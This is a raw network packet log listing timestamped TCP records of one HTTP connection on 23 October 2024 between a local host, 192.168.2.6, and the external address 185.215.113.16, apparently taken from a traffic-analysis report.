Oct 23, 2024 17:51:29.899332047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899347067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899353981 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899369955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899393082 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899396896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899414062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899429083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899435043 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899444103 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899458885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899466038 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899483919 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899499893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899513006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899517059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899534941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899540901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899550915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899569035 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899574995 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899600029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899624109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899636984 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899640083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899657011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899665117 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899672985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899691105 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899698973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899714947 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899730921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899748087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899753094 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899763107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899775028 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899780035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899796963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899804115 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899815083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899830103 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899830103 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899856091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899868011 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899874926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899892092 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899928093 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.905024052 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.948251009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.948302031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.948362112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.948405027 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.948421001 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.948470116 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.948543072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.948802948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.948945999 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.950917006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.950938940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.950951099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.950992107 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951087952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951101065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951112986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951128960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951133013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951145887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951157093 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951157093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951178074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951180935 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951191902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951199055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951209068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951222897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951231956 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951232910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951247931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951257944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951261997 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951280117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951292992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951297045 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951325893 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951345921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951359987 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951370955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951381922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951385975 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951400042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951409101 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951414108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951427937 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951433897 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951440096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951453924 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951466084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951469898 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951478958 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951493979 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951500893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951518059 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951522112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951534986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951546907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951559067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951570034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951571941 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951582909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951595068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951596022 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951606989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951610088 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951632977 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951642990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951664925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951677084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951683998 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951689005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951700926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951714039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951725960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951729059 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951740980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951749086 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951754093 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951761961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951772928 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951773882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951790094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951793909 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951812029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951817989 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951824903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951837063 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951847076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951854944 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951865911 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951878071 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951885939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951898098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951909065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951920986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951925039 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951927900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951940060 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951952934 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951951981 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951963902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951976061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.951984882 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.951988935 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952002048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952008009 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.952023029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952025890 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.952037096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952049971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952060938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952064991 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.952073097 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952083111 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.952086926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952100039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952110052 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.952121019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952131987 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952135086 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.952143908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952157974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952172041 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952178955 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.952184916 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952202082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952203035 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.952213049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952224016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952224970 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.952236891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952248096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952251911 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.952260017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952270985 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.952274084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952286005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.952301979 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.952320099 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.953082085 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953104973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953114986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953146935 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.953171015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953182936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953193903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953206062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953213930 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.953218937 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953232050 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.953257084 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.953286886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953299999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953310966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953320980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953326941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953334093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953332901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.953346014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953365088 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.953419924 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953432083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953443050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953454018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953464031 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.953464985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953478098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953486919 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.953490019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953499079 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.953528881 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.953572035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953583002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953596115 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953618050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953629971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953630924 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.953640938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953651905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953655958 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.953672886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953680992 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.953686953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953697920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.953725100 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.953749895 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.955298901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.980190039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.980315924 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.980325937 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.980356932 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.013246059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013271093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013282061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013289928 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.013319969 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.013401031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013418913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013428926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013439894 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013451099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013457060 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.013462067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013472080 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013480902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013488054 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.013495922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013505936 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.013505936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013519049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013530016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013531923 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.013540983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013550043 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013556957 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.013561010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013571978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013576984 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.013586998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013597012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013597012 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.013609886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013618946 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.013619900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013633013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013639927 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.013643980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013659954 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.013667107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013676882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013686895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013691902 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.013711929 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.013781071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013799906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013811111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013822079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013833046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013842106 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.013842106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013854980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.013885975 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.013899088 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014033079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014072895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014082909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014117002 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014239073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014250040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014260054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014277935 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014282942 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014290094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014291048 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014302015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014312029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014321089 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014322042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014334917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014344931 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014350891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014363050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014375925 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014380932 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014395952 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014399052 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014410973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014419079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014431000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014436960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014441967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014451981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014461994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014461994 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014473915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014483929 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014484882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014493942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014499903 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014504910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014514923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014523029 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014545918 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014612913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014635086 CEST	80	49763	185.215.113.16	192.168.2.6
